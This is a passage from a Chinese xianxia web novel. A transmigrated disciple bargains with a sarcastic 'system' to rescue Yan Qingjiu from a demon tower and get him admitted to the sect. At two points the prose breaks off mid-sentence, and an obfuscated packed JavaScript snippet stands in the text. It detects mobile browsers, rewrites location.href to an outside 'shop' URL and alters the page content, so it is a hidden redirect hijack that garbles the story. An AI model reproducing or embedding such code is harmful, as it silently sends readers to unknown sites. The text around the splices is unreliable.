想到那条伤疤下面是砚倾酒的仙骨,闻执诗这才多看了一眼。只是不知,微生言用着砚倾酒的仙骨,是如何做到继续厚颜无耻地做执剑掌门的。 微生言不可能没有问过原本的闻执诗他身体里的仙骨是谁的,也不可能没有派人下山寻过。他什么都知道,却当作什么事情都没发生一样,继续面不改色地做那高高在上的仙尊。 此人的确不一般,无耻、下流、卑鄙他一样不落全都占了。 看着微生言背上的那道疤,闻执诗觉得微生言就是一个彻头彻尾的伪君子。 也难怪他能跟原本的闻执诗相亲相爱甜甜蜜蜜,真是蛇鼠一窝,下流到一派去了! 说到底他们还真是挺有缘分的,偏偏这么个师尊就收了那么个徒弟,不是缘分是什么。 “没有谁能比仙尊更重要。仙尊对执诗而言,是全部。” 闻执诗被迫继续走剧情,他抬头瞄了眼天花板,记下台词,走到微生言身后,用玉如意轻轻地从他的后背上蹭过,鄙夷地看着那道疤,违心地念台词,“师尊,这儿还疼么?” “为师乃修仙之人,这点苦算什么。”微生言往下沉了沉,盘腿坐在冰泉中。微微转头时,他问闻执诗:“后山藏着的那个人,是什么来历?为师怎不知,你有这么个毫无修为的死敌。” “山下捡来的。”闻执诗解释道,“师尊知道的,徒儿玩心重,心思来得快去得也快。徒儿想跟他玩一玩,可他偏不顺着徒儿的意,徒儿看他不顺眼,自然就把他当成死敌了。只是,徒儿的玩心还在,现在还不想让他死。” 微生言淡淡笑道:“那便留着。等你玩够了,再将他扔下无妄崖,也算出口恶气。” 哟嚯!演都不演了! 多恶毒啊,玩人家这事儿先不说,他还要将人家扔下无妄崖摔死。 闻执诗心说自己故意找茬都想不出这么恶毒的主意。 “徒儿都听师尊的。” 继续走剧情。 闻执诗一边搓着鸡皮疙瘩,一边念台词,“这仙骨在师尊的体内有几日了,师尊可有感到不适?” 微生言低声道:“有。为师常常觉得胸口沉闷,浑身泛热,有时候甚至会神志不清,意识混乱。执诗,你说为师这是怎么了?莫非是这仙骨出了什么问题?” “怎么会呢。”闻执诗道,“这仙骨可是徒儿亲手剜出来的,当夜,徒儿便将仙骨移入师尊的身体了。许是师尊还不适应它吧。毕竟……” 毕竟这是别人仙骨…… 微生言温声道:“为师无碍。这点苦头,为师还是能吃的。” 泉水越涨越高,就快要溢出来了。青白色的雾气中,微生言的半张脸都在水里,只露出了眉与目。闻执诗替他整理衣裳的时候,他趁闻执诗不注意,将闻执诗拉到了水里。 扑通一声。旱鸭子落水了。 得亏闻执诗会水,不然要淹死了。 虽然,冰泉里的水还没他高。 闻执诗把快到嗓子眼的那句“你干什么”咽下去,探出头,强颜欢笑地问了句:“师尊这是做什么?” “为师一个人泡着,太寂寞了。你下来陪着为师,陪为师说说话吧。”水珠凝在微生言的脸上,看着有几分出水芙蓉的清丽。 微生言这张脸长得是极好的。只可惜金玉其外败絮其中,这种面相的人最是伪善,脸长得越纯,心越黑。一般不是善茬。 冰泉里的水很冷,闻执诗冷到浑身发抖,心道:“在外面不能说话?一定要到水里说?您是不是有什么怪癖?” 微生言还真就有——他喜欢捏旁人的耳垂。 微生言的手触碰到闻执诗的耳朵时,闻执诗如僵尸一般一动不动。微生言凑过去,在他的耳边低声轻语:“对了。刚才为师想问你,后山那个人不是砚家的小公子吧?你说,若他知道他的仙骨在为师的身体里,会不会来寻仇?” 微生言在试探他。 闻执诗答道:“不是。他是医馆里大夫的孩子,是徒儿顺手捡来的。” “昨日青山长老下山杀了整个国公府的人,却唯独没有找到砚氏的小公子,所以为师刚刚才问你。”微生言收回手,放到水里,在水中牵起了闻执诗的手,“执诗,为师一直全心全意地相信你,别让为师失望。” 又是常可甯……微生言的好走狗! 闻执诗的心吧嗒一下凉透了。 国公府的人终究还是被逍遥宗的人杀光了,剧情不会改变,该发生的事情迟早会发生。 那他失去的十年阳寿算什么? 算他倒霉吗? 闻执诗忍不了了。他从冰泉中爬出来,走到铜镜前,把最后几句台词念完:“弟子定不会让师尊失望。” 微生言满意地对他笑了笑,像是在欣赏一件美轮美奂的器具,温和地说道:“过几日五峰长老又要选新弟子了,今年你也选一个徒弟吧。等过几年紫山长老退位了,你就是下一任的紫山长老。” 当了紫山长老就得穿紫色的衣服,那不就跟砚倾酒穿情侣装了吗? 闻执诗心说不行,不能让砚倾酒误会,自己绝对没有对砚倾酒有那种心思! 其实当蓝山长老也可以的,他比较喜欢蓝色。 闻执诗情不真意不切道:“弟子不想离开师尊,弟子不想收徒。” 鬼才不想离开你……不对!鬼也想离开你! “早晚都是要收的。况且,若日后为师身死道消了,总得有个人陪着你吧。”微生言苦口婆心道,“收一个吧,你想收谁就收谁,为师不会插手的。” 旋即,他又补充了句:“为师看苏庭那孩子就挺不错的,他跟着青山长老有几年了,也不见长进,不如让他来跟着你。” 闻执诗板着脸道:“弟子都听师尊的。” 现成的台词念起来就是顺口!只是,这句台词出现的频次是不是有点太高了?原书中的闻执诗真不愧是对他师尊百依百顺的好徒弟啊,什么事儿都听他师尊的! 闻执诗心说还说不会插手呢,早就安排好了吧!果然这白毛老登就是坏得很。 “天色不早了,师尊早些休息吧。弟子这就去药师那里为师尊取一些安神的药,明早给您送过来。” 说完,闻执诗好似逃出笼子的鸟儿,如释重负地走出了通天殿。 天上的星星不说话,地上的闻执诗想一哭二闹三上吊。 他重重地砸醒了系统沉睡的心灵,歇斯底里:“你们什么意思?玩我呢?快把我的十年阳寿还给我!” 人工客服心不平气不和道:【做人要讲礼貌你懂不懂?跟系统说话要客客气气的你懂不懂?什么十年阳寿,我没印象了。】 人工客服瞄了眼监控,懂了:【噢!国公府惨遭屠杀那件事是吧?没办法啊,你不杀别人也会杀的,都让你提防着点那个常可甯了。晚喽,人都已经死光光喽!还给你是不可能的,泼出去的水岂有收回来的道理,您还是好好修仙,争取早日飞升吧!】 简直没有人性!闻执诗“呵呵”两声,双手合十,祈求上天:“麻烦给我安装一个国家反诈APP,我要灭了你们这些病毒。” 人工客服:【瞧把你给能的!没有系统你将一无是处!】 闻执诗懒得跟人机掰扯,他好声好气道:“亲爱的人机,有用的系统,现在可以带我去灭妖塔了吗?已经过去半天了,我的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349184|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道侣马上就要被妖怪吃掉啦!” 人工客服在他脑子里打了个响指:【假惺惺!虚伪!不是给你地图了吗,没长眼啊?算了,本客服就再大发慈悲一次,给你叫个人吧。】 三秒后,苏庭化身一道光,闪电般出现在了闻执诗的面前。 他甚至还穿着睡衣。 闻执诗笑不出来,问道:“……为什么又是他?” 人工客服:【因为顺手。】 苏庭懵懵地站在原地,喃喃道:“闻师兄,你怎么在这里?不对,应该是我怎么在你这里?难道是我梦游了吗?” “是啊,你梦游了,不巧被我给撞上了。睡醒了没?”闻执诗一秒入戏,笑嘻嘻道,“没睡醒的话,先陪我去趟灭妖塔再回去睡,可以吗?反正你来都来了嘛。” 苏庭更搞不清楚状况了。 闻执诗眨眨眼睛,往前凑了凑:“苏庭,不,苏苏小师弟!你看我都一把年纪了,腿脚不太方便,一个人走夜路的话容易磕着碰着,你就给我带带路嘛,就当是照顾一下老年人了,好不?” 好一个倚老卖老,欺负小孩! 苏庭抠了抠脑门,一头雾水地问:“闻师兄,您不就比我大三岁吗?为何要说自己老了?” “差几岁不是重点……那个……那个重点是你很年轻!”闻执诗张口就来,边走边说,“人呢,就要趁年轻多做点事情!不然呢,等你到了闻师兄这个年纪,就……” 苏庭问道:“就怎么了?” “等一下。” 闻执诗站在通往后山山洞的必经之路上,吹着小凉风,思索三秒,想到了一个救砚倾酒的法子。他抬指敲了敲脑袋,对系统道:“麻烦您在这里给我安排一只重伤将死的妖物,必须是之前被镇压在灭妖塔里的。” 人工客服提醒道:【违背原有剧情要扣除寿命哦!添加新剧情也要扣除哦!我劝你还是想清楚了再做决定,免得后面后悔的时候又鬼哭狼嚎,吵得人心烦。】 闻执诗沉思三秒,道:“先扣除二十年的吧,不够下次再扣。” 人工客服笑了:【富公哦。张口就是二十年,你的命很长吗?】 闻执诗潇洒地甩了甩袖袍,又理了理头发,言道:“让你扣,你扣就是了。先在这里安排一只妖物,我要用它还砚倾酒清白。另外,我听说逍遥宗五峰长老马上要选新弟子了,师尊说我今年也可以选一个。我要让砚倾酒正式成为逍遥宗的弟子,做我的徒弟。这些加起来,二十年寿命够不够?” 人工客服:【看在你之前亏了十年阳寿的份上,给你打个折,扣你十九点九年,够义气吧?剩下那几天,算系统爷赏你的。】 闻执诗翻了个白眼:“我可真是谢谢您了。” 话音刚落,地上便多了一只妖物。 怎么说呢,这只妖长得像鸡像鸭像鹅还像鳄鱼,简直是个四不像,更奇葩的是它身上的毛是五颜六色的,还长了八条腿! 总的来说,这应当是一只奇丑无比且叫声凄厉的丑鸟。 苏庭看傻眼了。 这将是他此生最难忘的一次梦游。 闻执诗恨不得弹系统的脑瓜子:“苏庭还在这看着呢,能不能不要这么假!你们能不能动动脑子,哪怕是从天而降也比横空出世要好啊!” 人工客服淡定道:【那就回档重来一次?恩?】 “不麻烦您了!”闻执诗心不平气不和道,“滚吧!” 骂完,他抓着苏庭的肩膀倒退三步,拔剑出鞘,还不忘潇洒地挽一个剑花,剑指大妖,喝道:“师弟你看,有妖!你快去禀告仙尊和五峰长老,就说在后山山洞外发现了妖物,你闻师兄正在与妖物拼死一战!” 说的倒是大义凛然,还拼死一战呢,再慢一点地上的妖物就要咽气了。 苏庭盯着妖物,慌张道:“可是……可是……” 闻执诗将他朝通天殿一推,催促道:“别可是了!相信你闻师兄,这里交给我!” 苏庭道:“可是闻师兄你刚才不是说你要去灭妖塔吗!” “哈?是刚才吗?明明已经过去很久了!”闻执诗心说这NPC的反射弧也忒长了吧! “别管那么多了!你先去通报!我留下来处理这只妖物,快去吧!” 苏庭化身一道白烟眨眼的功夫就溜走了。 送走小NPC苏庭,闻执诗兀自托着半死不活的妖物往灭妖塔走,途中,他还往自己的身上抹了点妖物的血,给自己弄成一副战损的模样。 进了灭妖塔,见到砚倾酒的那一刻,闻执诗跪了。 9. 苦逼炮灰 虽说这逍遥宗占据着蓬莱仙山这块钟灵毓秀的洞天福地,应当是滋养圣灵,处处冒着仙气的,但是逍遥宗中却有两处妖魔之气横生且寸草不生的凶煞之地,堪比恶佛门的屠血寺和罗刹门的万鬼洞。 一处是四大祭魂驻守的祭坛,另一处便是镇压妖灵的灭妖塔。 刚拖着半死不活的大妖走到灭妖塔的结界前,闻执诗便感受到了一股强烈的妖力,想必灭妖塔中,定是有非同寻常的大妖的。 一想到手无缚鸡之力的砚倾酒被关在里面,闻执诗的心就瞬间凉透了。如果他的头上一直飘着血条的话,他想此时此刻他的头顶血条应该快见底了! 神TM「恋爱契约」!神TM同生共死!太TM搞了! 闻执诗在心里刷了一波吐槽:这种无厘头的神经质系统就应该找两个两情相悦的人绑定啊!Ta爱着Ta,Ta也深爱着Ta,他们爱的死去活来,这时候挑一个人狠狠折磨一番,另一个人又不会死,折磨来折磨去他们反而更爱了!如此一来,不就有看头了吗! 而我和砚倾酒算什么呢?什么都不算!先不说我会不会爱他,他会爱我吗?一定不会吧!现在好了,他在里面挨揍,我还得在外面提心吊胆地挂念着他!心好累啊! 人工客服不耐烦了:【你到底进不进去?!还有,请你不要在脑子里胡思乱想,很吵的!等着你办点事,拌黄瓜都凉了!算了,还是本客服亲自送你进去吧。】 闻执诗:“拌黄瓜本来不就是凉的吗!” 人工客服恶龙咆哮:【闭嘴!】 系统明目张胆地发力了。 闻执诗还没反应过来自己为什么突然多了一股神秘力量,就已经拖着那只丑鸟穿过结界,甚至横穿灭妖塔的高逼格大黑门直接飞到灭妖塔里面去了。 如同开了挂一般。 门口俩看门的青山峰弟子当场看傻眼了。 高个子弟子螳螂似的伸了伸脑袋,一头雾水地问了句:“刚才是不是有什么东西飞进去了?看着像是个人。” “应该不是人吧。”矮个子弟子正困得要命,懒兮兮地打了个哈欠,抓抓后脑勺道:“可能是流星吧。快许愿吧,一会就不灵了。” 高个子弟子还真就信了,双手合十仰望天空,虔诚地道:“老天爷,希望明天能换个跟我一起守夜的搭子,我旁边这位好像有点脑缺。” 矮个子弟子冷笑一声:“你以为我就看得惯你吗?” 二人就这么吵了起来,犹如小学鸡斗嘴,叽叽喳喳。 一门之隔,闻执诗听得清清楚楚,甚至还笑了一下。 笑的时候,他完全没有预料到,自己这么一笑,居然出大事了! 好似有一道意味不明的目光从他的脸上一闪而过,紧接着,他久违地听到了人机系统的播报:【很抱歉通知宿主,就在刚才,您的契约对象对您的心动值降为0了。路漫漫其修远兮,宿主您要重头来过了。(嘤)】 【掉几滴泪殉宿主的心动值。(悲)】 “清零了?!”闻执诗抱着头,斜45°仰望塔顶,苦大仇深地大笑道:“哈!哈哈!哈哈哈!竟然清零了!我好开心啊!哈哈哈哈哈!” 说完,他捂着自己的心口,朝着不远处正趴在血泊中望着他的砚倾酒,两眼一闭跪在了地上。 他跪了。滑出去三米远。 为他暴毙的心动值,为他这几天死的脑细胞和丢掉的面子。 一切还要重头来过…… 人工客服平静地看他演,并默默地在谷歌上搜索了奥斯卡提名的条件。最后,他实在看不下去了,便在闻执诗的脑子里放了一首野狼disco。 “放错歌了吧!现在应该唱‘生命苦涩如歌’才对!”闻执诗一骨碌站起来,使劲挤了挤眼睛,发现一滴眼泪也没有后,他扯了扯脸皮,结束了这场只有人机当观众的独角戏。 一旁,砚倾酒还在用他仅有的一把匕首,与灭妖塔中的一众妖灵决一死战。 不对,不是决一死战,应当是负隅顽抗、不自量力。 在灭妖塔的正中心,右一个像祭台一样的地方,顶上有颗半人高的夜明珠,将圆台上的砚倾酒照得清清楚楚。他蜷缩在圆台上,一只手捂住腹部,另一只手还在抗击前来撕咬他的妖灵。 砚倾酒身上穿着的是闻执诗扔给他的那件破旧的弟子制服,如今已经破烂不堪,上面除了妖物吐出来的腥臭的毒液,还有从他身体里面流出来的血。 几百只大妖站在四周的高台上睨视着砚倾酒,像是在欣赏已经到了嘴边的食物。 一只九头鸟叼着砚倾酒后颈处的衣领,将他整个人带到空中,又将他重重地砸在了地上。眼看着九头鸟又要将砚倾酒叼起来,只是这次,他的爪子还未落到砚倾酒的腰上,便被一道剑光斩断了! 闻执诗把九头鸟的爪子踢到一边,搂住砚倾酒的腰将他抱起来,带着他离开了祭台。 砚倾酒很轻,抱在怀里没什么重量。他歪着头,侧脸贴着闻执诗的胸膛吐了一口血。感受到那股温热的时候,闻执诗的心哆嗦了一下。 够美!够强!够惨! 妥妥苦逼炮灰的待遇啊。 闻执诗没想到砚倾酒到了灭妖塔会受这么多苦,此刻他觉得心动值还是扣少了,应该变成负100才对! 良心难得地显灵了一回。 地上凉,闻执诗脱下外衣铺在地上,让砚倾酒坐在了自己的衣服上。砚倾酒没正眼看他,他知道砚倾酒恨他,现在不会理他,可他还是很小声地说了句“对不起。” 闻执诗提起月照泉,指尖捏咒,低声道:“你在这里等我一下,我这就去杀了那些畜生。等我回来,我有话要对你说。” 而后闻执诗大步流星地跨上圆台,站在夜明珠下,剑指高处的一众大妖,寒声问道:“刚才谁伤他了?” 灭妖塔中镇压的大妖有不少是闻执诗少时抓回来的,他们都知道他那把月照泉的厉害,此刻都不敢作声了。 “不说?”闻执诗微微蹙眉,用指尖轻弹剑刃,慢条斯理道:“那便将你们都杀了,好让逍遥宗清静清静。” 灭妖塔中的大妖都被捆妖锁束缚着,闻执诗杀他们,就像踩死蚂蚁一样简单。况且这里面的妖都是十恶不赦的恶妖,也没有道德压力,剑过之处,妖死灯灭,全都变成一团黑气,消散在夜明珠的白光中。 闻执诗杀得痛快,第一次真正地见识到了月照泉的威力,心说看一百本秘籍,不如亲手斩杀一百只妖物。果然百炼成钢,还是得炼啊。 砚倾酒看傻眼了。 闻执诗回头望了砚倾酒一眼,眉眼尽显意气风发。他甚至脑补出了此时此刻砚倾酒正在想什么。 闻执诗以为,砚倾酒一定在想,他拼死拼活才能杀死的一只妖灵,竟然在自己的剑光中灰飞烟灭了! 闻执诗以为,砚倾酒一定会觉得若他有如自己一般的实力,那么他想报的仇,他想泄的愤,是不是就能轻而易举地做到了。 实则不然! 砚倾酒在想的是,这几只大妖竟然这么弱的吗! 杀完大妖,闻执诗装得像个斯文败类,漫不经心地擦了擦月照泉上的血,款步走到砚倾酒身边,朝他伸出手,问道:“还能站起来吗?” 一系列动作如行云流水一般流畅,如果现在有弹幕的话,一定会是满屏充斥着两个字地盛大场面:“装B”。 人工客服没忍住吐槽了一句:【你是不是有那个欧巴病?别把模仿欧巴病的小视频当成北影教材啊。】 闻执诗差点笑喷:“别逗我笑行吗?我正在酝酿情绪呢。” 他还要攻略砚倾酒呢! 砚倾酒冷着脸没看他,自己想扶着膝盖站起来,结果两腿一软,摔在了地上。 见状,闻执诗眼疾手快地握住砚倾酒的手腕,扶起砚倾酒,顺手将他拉到自己身边,还偷偷地瞄了眼砚倾酒的脸,腹语说道,真正娇弱的另有其人啊! 人工客服:【我点一首《爱错》。】 闻执诗有着狗屎一样的笑点,差点没忍住,笑出声。但他没敢笑,因为他知道自己已经OOC了,一会系统又要清算他的等级了。 能保一点是一点,只要别清零就行,不然真白玩了! 砚倾酒刚站稳,灭妖塔外头就来人了。 闻执诗琢磨外面来的那些人,应当是赤黄青蓝紫峰那些个白胡子老登,当然也会有几个小年轻。 闻执诗用月照泉将他费了牛劲才拖进来的丑鸟挑到砚倾酒身边,说道:“我已查明,你身上的妖气来自于这只逃出灭妖塔后,躲在后山山洞里的妖物。今日是青山峰的人冤枉你了,我在此替青山长老向你道歉。” 说罢,闻执诗收了剑,拱手作揖,弓下腰向砚倾酒行了个极其标准的致歉礼。 人工客服带着看男主的滤镜看闻执诗,点评道:【学得还挺像样的。】 闻执诗心道:“那必须。起初人们以为修真界来了个天才一事只是个传闻,直到见到我才知道这是事实。你应该放一首《无敌》才对。” 人工客服恨自己只是个系统,没法抽他,于是送了他一首《淘汰》。 闻执诗光跟系统斗嘴去了,完全没有注意到常可甯走进灭妖塔的时候,看着闻执诗替他向这个来路不明的人行致歉礼,脸都绿了。 像一只气鼓肚皮的青蛙。 仔细说来,应当是一条吞了青蛙鼓着肚子的竹叶青! “什么意思?”常可甯仰着脸,趾高气昂地睨着闻执诗,用审判的语气问道:“在后山发现一只妖物,就能洗清你们二人的嫌疑了么?谁知道这只妖是不是你故意藏在后山的?” “青山长老真会说笑,我哪有那么闲啊。今夜我可是留在通天殿,听仙尊传授心法呢。”闻执诗略过常可甯,望向他身后那一群人,真是什么颜色的都有,像是M豆凑一块来开会了。 除了微生言,逍遥宗中有头有脸的人物都来了。看着那一排穿着赤黄青蓝紫颜色制服的修士,闻执诗不由得在心里唱了句:“阳光彩虹小白马!” 在一众仙风道骨的M豆中,有一位身穿茄子花色制服的女剑修格外亮眼。 闻执诗觉得自己大概率不会看错,这应该是位女剑修。 逍遥宗有五位长老,只有紫山长老是位女修士,可见此人绝对不一般,也可以以小窥大——修无情道的男人比女人要多,但真正能从无情道毕业的人,却是少之又少了。未等闻执诗问出那句“此人是什么来头?”,一向好睡懒做的人工客服竟然主动地开口介绍了! 人工客服特地提高嗓门,切换成了夹子音不说,连说话的语气都变了:【咳咳咳!注意看,这位是本书中最光鲜亮丽的女角色——逍遥宗唯一女长老——紫山长老皇甫玉容! 紫山长老今年正好三百三十岁,是位脾气不太好但非常有正义感的女修士!她剑名为凤栖梧,剑鞘是用上古时期凤凰的翎羽制成的!很高端大气上档次吧!就现在这个局面,要想治的了常可甯,还得她出马。】 话音刚落,皇甫玉容便抱着那柄金光闪闪的凤栖梧,霸气又潇洒地从常可甯身边走过,甩下一句寒冰乍现的:“发生什么事了?” 闻执诗看直了眼,叹道:“好酷一角色!” 人工客服附和道:【是吧是吧?我说的没错吧?】 闻执诗点头道:“是挺帅的!” 皇甫玉容一出场,人工客服都变得有活人味了起来。 闻执诗盯着紫山长老看了一会,越看越觉得奇怪,却说不上来到底是哪里奇怪。 他正冥思苦想呢,人工客服突然诡异地闷笑两声,激动道:【好啦。现在要告诉你一个重磅消息,其实他是一个女装大佬,但是从始至终都没有人发现过!嘻嘻,惊不惊喜,意不意外?】 “......”闻执诗无语了:“你是不是gay啊?他是女装大佬你兴奋什么?” 人工客服敛起笑意:【别BB!我就兴奋!你管得着吗!我还有一则重磅消息没说呢。在逍遥宗的五位长老中,还有一位女扮男装的长老哦!这样的设定是不是很有意思?】 “有哪门子的意思?low爆了!”闻执诗回头扫了一眼,目光定格在那位身形瘦小,但打扮得极其显老的赤山长老身上,问系统:“是她对吗?” 人工客服又装死了,像是没电宕机了。 恰好这时,常可甯回头道了句:“赤山长老,您觉得这件事该怎么处理?” 赤山长老犹犹豫豫,拿不定主意:“这事我不好做决断,还是等明日请仙尊处理吧。” 但不能因为TA身形瘦小,说话时声音也小就断定此人女扮男装,是个女修士,这些只是刻板印象罢了,说到底,这是对女修士的偏见。可抛开形体神态这些,闻执 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349185|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诗也看不出到底是谁女扮男装了,只要抓了抓后脑勺,不再去想了。 “何必要等明日再劳烦仙尊处理?”皇甫玉容抱着剑,盯着闻执诗,寒声道:“灭妖塔里的妖物都让他杀完了,还有什么好处理的?你们要是闲的没事干,就下山捉妖去,捉了妖回来再将这灭妖塔填满,不然驻守的祭坛四大祭魂审什么?没妖可审,他们可就要审你们了。” 此人气宇轩昂,说话直来直去也不怕得罪人,最重要的是一点也不扭捏,看着的确是位英姿飒爽的女修士! 闻执诗更纳闷了:好端端一男的,为什么要男扮女装呢! 闻执诗想不明白,但他没工夫想了,眼下最要紧的事是让砚倾酒名正言顺地留在逍遥宗。 按照原书中的剧情,砚倾酒到逍遥宗后就被原本的闻执诗关在山洞中折磨致死了,可以说是一点剧情也没有,纯折磨。 闻执诗又骂了一句傻X作者!专挑软柿子捏算什么啊!有本事去捏刺猬啊! 好像有人在他的脑子里打了个喷嚏,闻执诗没在意,继续瞎琢磨。 他已经付出了二十年阳寿,得到了两次改变剧情的机会。现在用了一次,还有一次机会,他要利用这次机会,让砚倾酒拜他为师。 如果砚倾酒能拜他为师,就不用受尽折磨了,就算是要受折磨,也会比原书中的程度要轻很多。大不了闻执诗就用十年阳寿再改一次剧情!他心想,修仙的人嘛,阳寿摩多摩多。 闻执诗朝砚倾酒使眼色,砚倾酒一脸死水地朝他扔泥巴。 闻执诗腹诽道:“真是抛媚眼给瞎子看,自取其辱!哼!再看你一眼我是狗!不,我是猫!” 又要演独角戏了。 闻执诗冲诸位长老拱了拱手,板着脸,严肃道:“弟子听师尊说,诸位长老过几日要选新弟子。师尊还说,这次我也可以收一名徒弟。” 指了指砚倾酒,又道:“此人名为李九,是个孤儿,先前因得罪了弟子,被弟子私自带回了逍遥宗,弟子触犯了门规,天亮前自会去四大祭魂那里领罚。如今弟子与他恩怨已了,他又没有地方可以去,又没有人可以依靠,看在他做事利索,手脚勤快的份上,弟子想让他留在逍遥宗,做个打杂的弟子。不知哪位长老缺个打杂的弟子?若是诸位长老都瞧不上他,这个人我便带走了。” 先打一巴掌,再给个甜枣。闻执诗补充了句:“说不定他打着打着杂,就误打误撞地悟出了修行的真谛,就能自个找到门道了呢。” 逍遥宗招生办主任黄山长老打量着砚倾酒,沉声道:“此子根骨奇差,且看起来悟性不是很高,实非修仙的好苗子。不如放他下山去,做个安度一生的平凡人。” 闻执诗没想到招生办主任黄老头还是个善人呢。问题是砚倾酒他下不去山啊! 闻执诗只能拐弯抹角地想主意,自谦道:“弟子的根骨也很一般,不是也练到飞天境了吗?长老不是常常教导我们,勤能补拙吗?” 勤能补个屁拙!修仙这玩意,又不是考取功名,不是你悬梁刺股,凿壁偷光,死记硬背就能登科及第的,这玩意他要靠天赋啊。当然,如果你是升级流大男主的话,就算开局一个碗,吃喝全靠捡,人见人嫌,花见花也嫌,但是你就能一路开挂,直线逆袭,成为人生赢家,还能抱得美人归。 闻执诗严重怀疑作者在写的时候将自己带入进去了。毕竟男人嘛,哪个不想一路爽到爆,还抱得美人归的?真是要江山还要美人,贪得无厌! 闻执诗也是个男人,但此刻他不要江山,只要砚倾酒。因为他需要心动值。 心动值心动值心动值! 闻执诗已经神游到九霄云外去了,NPC还在走剧情。 黄山长老一皱眉,苦笑着道:“执诗啊,你可是仙门百年难一遇的奇才啊,况且你还是仙尊的亲传弟子,你的资质可不一般啊。” 闻执诗讪讪一笑,颇为谦虚地道:“黄山长老谬赞了。根骨再好,也得从最基础的开始修习嘛。我相信李九小兄弟,来日必定能轰动整个仙门。” 夸下海口。但夸的人不是自己。爽哉爽哉。 一旁许久未作声的逍遥宗宣传部部长蓝山长老和蔼可亲地笑了笑,终于肯发话了:“我看这孩子长得挺不错的,给他一个机会吧。漂亮的孩子站中间,赏心悦目啊。我们这些做长老的在上面看着,心情也好。” 这番话说到闻执诗的心坎里去了。闻执诗笑着附和道:“蓝山长老目光如炬,着实令执诗佩服。” 听蓝山长老松了口,常可甯不屑地翘了翘脚尖,拉着张臭脸,揶揄道:“他算什么东西,也配留在逍遥宗修习?就应该把这种资质平庸难成大器的废物关在山洞中喂死老鼠,反正啊,他跟死老鼠也没什么两样。” 闻声,闻执诗睨了他一眼。触发关键词:喂老鼠。闻执诗心道:“这厮怎么跟原主一个臭德行?” 这段时间,砚倾酒像一只可怜的小动物,缩在角落里等待着别人决定他是生还是死。他一声不吭,不怨不愤,也不发怒,只是睁着眼睛看着,看谁对自己好,谁是真的想让自己死。 一份争吵后,赤山长老道了句:“让他来选吧。” 他走到砚倾酒身边,朝他伸出手,问道:“若日后你留在逍遥宗,你想拜谁为师?” 砚倾酒抬起头,露出一双明亮的眼睛,小声问道:“我可以选吗?” 赤山长老笑道:“当然可以。我逍遥宗一向愿意对弱者施以援手,你想拜谁为师,今夜便跟谁走吧。” 闻执诗激动地伸出脖子,心说机会来了,选我选我,快选我! 砚倾酒没有站起来,而是跪在地上一点一点地往前挪。他跪走到闻执诗身前时,闻执诗屏气凝神,差点没忍住伸手拉住他。 三秒后,砚倾酒在闻执诗面前停住了。 闻执诗心说有了! 然而,砚倾酒却转过身,面朝闻执诗身边的常可甯作了个揖,低声道:“弟子李九拜见青山长老。求长老收我为徒。弟子愿日后常伴长老左右,认真修习,定不会教长老失望。” 常可甯的脸上瞬间浮现出了诡异的笑容,他握住砚倾酒的手,往自己身边拉了拉,笑道:“好啊。日后你便跟着我吧。” 什么...... 什么情况?! 砚倾酒没被人夺舍吧? 闻执诗好像有点死了。 10. 昏招频出 闻执诗化身一条寂寞的鱼,在床上翻过来覆过去,冥思苦想两个时辰也没想明白砚倾酒为什么宁可选常可甯也不选自己! 那日在长生殿常可甯要将砚倾酒扔到四大祭魂那里严刑逼问的时候,砚倾酒没看出来常可甯是个什么样的人吗?! 此人绝非善茬啊绝非善茬。 闻执诗揪着被角,侧躺在榻上愤愤地跺了跺脚,看起来怒火冲天、气势十足,实则,无他,只是惊扰了些许灰尘。 灰尘不懂他的心酸他的泪。 现在好了,他不仅要盯着砚倾酒,还要死盯着常可甯,免得他和他脖子上那只竹叶青合起伙来作妖,搅得青山峰乌烟瘴气。 闻执诗独自住在小香山,与青山峰隔了紫山、黄山两座峰,要是以前,依着闻执诗油瓶倒了都不扶的性子,若雷公电母不拿闪电劈他,他是绝对懒得去青山峰的,但是现在不一样了,他的命根子砚倾酒在那里,他就不得不去了。 闻执诗坐起来,胡乱揉了揉脑袋,将头顶上的头发揉成了一团乌黑毛线。 去。他没有不去的理由。 可直接去会不会太唐突?总得找个借口吧。 去都去了,要不给砚倾酒送点东西过去? 砚倾酒初来乍到,人生地不熟的,还拜了那么个不成样的师父,日后免不了要吃苦头。 想到这里,闻执诗困意全无,打了鸡血似的从床上蹦下来,在屋子里翻箱倒柜半天,终于找到了仨碗两根筷子,还有一个毛快掉光了的鸡毛掸子,他抱着这些家什,摇头晃脑地走出了小香殿。 虽然他也不知道带这些东西过去有什么用,但他就是想抱着点什么。 穿过竹林,眼前豁然开朗。皎洁的月光银水似的一泻千里,将闻执诗手里那几个破烂家什照的发光,闻执诗低头瞄了一眼,寻思这样去也不好,看着像是要去干架的。他将鸡毛掸子扔了,又用一根筷子将头发盘起来,而后一手捧着一个白玉小碗,继续踩着星光往青山峰走。 走着走着,闻执诗低头看了看自己手中的两个小碗,兀自闷声笑道:“我真是傻了,拿两个碗过去做什么,就算是要去化斋,这碗也忒小了些。砚倾酒啊砚倾酒,我一想到你我就迷糊了,我可怎么办啊。” 熊瞎子掰苞米,掰一个丢俩。到了青山峰,闻执诗手里的东西啥也没剩,就两手空空地站在青山殿苍云台旁边的玉石头后面,街溜子似的走来走去,一边嘀咕一边琢磨见到砚倾酒该怎么说。 